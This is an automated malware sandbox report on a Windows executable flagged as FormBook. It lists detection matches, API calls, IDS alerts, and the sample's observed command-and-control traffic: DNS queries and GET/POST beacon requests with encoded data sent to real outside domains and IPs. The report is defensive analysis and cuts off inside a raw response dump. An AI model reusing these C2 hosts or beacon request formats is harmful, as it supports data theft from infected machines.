Windows Analysis Report
Z6s208B9QX.exe

AI detected suspicious sample

Source: Yara match	File source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Z6s208B9QX.exe

Joe Sandbox ML: detected

Source: Z6s208B9QX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: write.pdbGCTL source: svchost.exe, 00000008.00000002.1730455622.0000000003019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730439402.0000000003000000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744246000.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: write.pdb source: svchost.exe, 00000008.00000002.1730455622.0000000003019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730439402.0000000003000000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744246000.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UCAmCgWJyh.exe, 0000000A.00000000.1650413823.0000000000B3E000.00000002.00000001.01000000.00000005.sdmp, UCAmCgWJyh.exe, 0000000D.00000000.1799667591.0000000000B3E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Z6s208B9QX.exe, 00000000.00000003.1278966873.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Z6s208B9QX.exe, 00000000.00000003.1282094374.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1631846240.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1633513336.0000000003500000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.0000000004710000.00000040.00001000.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1732839764.000000000456A000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1730478415.00000000043B1000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.00000000048AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Z6s208B9QX.exe, 00000000.00000003.1278966873.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Z6s208B9QX.exe, 00000000.00000003.1282094374.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000002.1730639128.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1631846240.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1633513336.0000000003500000.00000004.00000020.00020000.00000000.sdmp, write.exe, write.exe, 0000000B.00000002.3746720068.0000000004710000.00000040.00001000.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1732839764.000000000456A000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1730478415.00000000043B1000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.00000000048AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: write.exe, 0000000B.00000002.3747327536.0000000004D3C000.00000004.10000000.00040000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002B25000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000002AFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2023697745.000000004000C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: write.exe, 0000000B.00000002.3747327536.0000000004D3C000.00000004.10000000.00040000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002B25000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000002AFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2023697745.000000004000C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0054C340 FindFirstFileW,FindNextFileW,FindClose,	11_2_0054C340

Source: C:\Windows\SysWOW64\write.exe	Code function: 4x nop then xor eax, eax	11_2_00539A60
Source: C:\Windows\SysWOW64\write.exe	Code function: 4x nop then pop edi	11_2_0053DF50
Source: C:\Windows\SysWOW64\write.exe	Code function: 4x nop then mov ebx, 00000004h	11_2_045604E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49993 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49997 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50001 -> 107.163.130.249:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49992 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49981 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49995 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50003 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49983 -> 23.224.37.76:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50005 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49985 -> 23.224.37.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50024 -> 43.154.104.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50016 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50021 -> 198.252.106.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49984 -> 23.224.37.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49988 -> 20.184.53.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50020 -> 198.252.106.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50014 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50015 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49991 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50000 -> 107.163.130.249:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50013 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50025 -> 43.154.104.247:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50017 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49990 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50022 -> 43.154.104.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49986 -> 20.184.53.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49998 -> 107.163.130.249:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50002 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50006 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50019 -> 198.252.106.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50012 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50004 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50018 -> 198.252.106.191:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50023 -> 43.154.104.247:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49982 -> 23.224.37.76:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49996 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50008 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50009 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49989 -> 20.184.53.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49999 -> 107.163.130.249:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49987 -> 20.184.53.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50007 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50010 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50011 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49994 -> 81.2.196.19:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.93187.xyz
Source:	DNS query: www.broomeorchard.xyz
Source:	DNS query: www.suarahati20.xyz

Source: Joe Sandbox View	IP Address: 103.21.221.4 103.21.221.4
Source: Joe Sandbox View	IP Address: 199.192.21.169 199.192.21.169

Source: Joe Sandbox View	ASN Name: LINKNET-ID-APLinknetASNID LINKNET-ID-APLinknetASNID
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: TAKE2US TAKE2US
Source: Joe Sandbox View	ASN Name: HAWKHOSTCA HAWKHOSTCA

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: GET /i7xp/?-L=kBMxZFRpAD6P&gP=1hYOXgym/+H9levAkr4ECV6rOYKZY3gLAuBEPSFmNBWW1UoBGm7krMakoIf2T8PCbakGk5cJYsK9Iz90f+By3ei+nF7KhZYXgTY0pVgzUu8kB5fl+xjkuOc= HTTP/1.1Host: www.whats-in-the-box.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8z5k/?gP=y1aGUeBTtCWB8PYjxeZy4U2j9UMFcfikuJGyOOgv6AsofEnOPQxTGp57UW4jl24PiU2QUCC/WnCbrv11FxPlakKzrkp/pGyXsuE4toY6QkeuA/Y2UZTirzw=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.1183377.appAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UCR6RvwOqtQuPJgvEbTjd3YUbROaC6Ux6KVpZIGkHJVy9sLRLBvFWiGcqamlVlCdw8MyQ8= HTTP/1.1Host: www.52ywq.vipAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d8cw/?gP=ygF20N1+ik7kBOtBXXgSSDl+0mvoPS6R8XEst5j0lvkfFXMCnxh1w4hdkVa8euGiR7K2W9wNoXO2NDH8py5otm2v66eMoudDkD1QDiauZF6PALhNXvt3BHI=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.zenscape.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jsqu/?-L=kBMxZFRpAD6P&gP=j6JGavFFAQYaoSsk3MdZismLyTuecDBS/zrFTn0tpA7YEGIVc6EsUszyewNJDeJ1aRTf+dmReaRifudBLpLuAECuXdbdVwd/lx4BGGAWHgBLP9AhssTD5eI= HTTP/1.1Host: www.asociacia.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jyeu/?gP=KiLVsdjbhLGFnrJehKTzSS0IkzcAWv/LJ+iUpFrqUMB7t1Dgy4rxQKgK0ZJ2vypsgoxK5tfcGeo5lfiWWTY3/QPGqQrPglnah1puMp4IzQunG6SYXgyDdEY=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.93187.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs+EeARQOkoA/Qwpt/BQ4HKq3lGg5eAXthSBpGiRyb49E6pfVOIP+nYbA/MCobApDN+18WI9d8e3Vo/1w2CbZc=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.tempatmudisini01.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xweg/?-L=kBMxZFRpAD6P&gP=zyGgAOIUWHAkjy53XOab1MtcQdyBzOoJaxZIhC+JlO6DnbZYVfn3Wlg6Cuq4vonK+0ubeBxTnsDOaX+bBTk8d8gi4CXplyUvpH+a6MWSZKg7Sn8a+cnOgQs= HTTP/1.1Host: www.o731lh.vipAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2ho9/?gP=sZDoihg8ajsFNu4sFB4wVMG24nWUkQUSxybOs53co7FoCsqulhCNIl7qmx9+CpDfKiL3BRrx3kpFS5y+tLS3H5WrA65sHfIkn+XzJEmDgF1B4fp1cD4x67M=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.consultarfacil.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8o1o/?-L=kBMxZFRpAD6P&gP=QunhVm6kZFQCJjGkuC7lsmN7UDLhVH5unS34CwGNyhG42F+U2Qq2Bbej6HS9mh+MEeKFfLAj85iyVJ5CsJDjT9kB1XQFiuYG2+iOt7QfZQyJLxqfhY4aAGU= HTTP/1.1Host: www.broomeorchard.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4est/?gP=6TioOITzTznuWaHCUWnl//RNTiJIkSIqdx+6cQbbG9CbTHyFxDml283eSUfpT4rPWLRehJ5KDSFFDUFbTukXlY89F3XW39p23v05UDH3lWqOp67DGsRlWdM=&-L=kBMxZFRpAD6P HTTP/1.1Host: www.suarahati20.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8qne/?-L=kBMxZFRpAD6P&gP=KTDLAip6979182YpgYgwlP0twqrvN2KjRu9dlBr1KRF7u6Oe/Vup1PLCUBiG85sopIJcMB3IBfxfJF1E2Fdczwn6nM8FHB3uPZpUzCEofVeYgOE3F6jmTm8= HTTP/1.1Host: www.nmh6.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.whats-in-the-box.org
Source: global traffic	DNS traffic detected: DNS query: www.1183377.app
Source: global traffic	DNS traffic detected: DNS query: www.52ywq.vip
Source: global traffic	DNS traffic detected: DNS query: www.zenscape.top
Source: global traffic	DNS traffic detected: DNS query: www.asociacia.online
Source: global traffic	DNS traffic detected: DNS query: www.93187.xyz
Source: global traffic	DNS traffic detected: DNS query: www.insicilia.today
Source: global traffic	DNS traffic detected: DNS query: www.tempatmudisini01.click
Source: global traffic	DNS traffic detected: DNS query: www.o731lh.vip
Source: global traffic	DNS traffic detected: DNS query: www.consultarfacil.online
Source: global traffic	DNS traffic detected: DNS query: www.broomeorchard.xyz
Source: global traffic	DNS traffic detected: DNS query: www.suarahati20.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nmh6.site

Source: unknown

HTTP traffic detected: POST /8z5k/ HTTP/1.1Host: www.1183377.appAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USAccept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeContent-Length: 199Origin: http://www.1183377.appReferer: http://www.1183377.app/8z5k/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36Data Raw: 67 50 3d 2f 33 79 6d 58 72 5a 75 73 51 2f 74 72 2b 34 33 68 4f 5a 54 39 46 6d 68 35 33 41 64 48 38 6d 51 6b 64 75 67 41 4e 49 5a 7a 58 52 62 4a 55 66 55 5a 46 6c 49 45 4b 64 32 61 43 38 68 6c 46 42 2f 76 53 65 57 63 78 32 30 58 44 43 36 6e 63 70 6e 45 78 61 65 5a 78 57 33 67 57 4a 71 6d 42 36 57 75 4f 78 73 72 36 55 55 56 30 37 6b 53 2b 56 68 64 5a 6e 47 31 43 6f 42 35 50 61 72 6f 79 78 48 46 4d 51 58 4e 41 2f 6a 62 5a 78 4b 43 39 72 6e 50 49 72 6a 37 6d 35 61 37 67 45 63 45 4f 68 75 36 59 66 43 4a 70 54 73 58 54 63 43 70 47 6f 68 33 76 64 6c 79 7a 6e 43 71 68 77 5a 49 37 58 6e 5a 67 3d 3d Data Ascii: gP=/3ymXrZusQ/tr+43hOZT9Fmh53AdH8mQkdugANIZzXRbJUfUZFlIEKd2aC8hlFB/vSeWcx20XDC6ncpnExaeZxW3gWJqmB6WuOxsr6UUV07kS+VhdZnG1CoB5ParoyxHFMQXNA/jbZxKC9rnPIrj7m5a7gEcEOhu6YfCJpTsXTcCpGoh3vdlyznCqhwZI7XnZg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:55:39 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 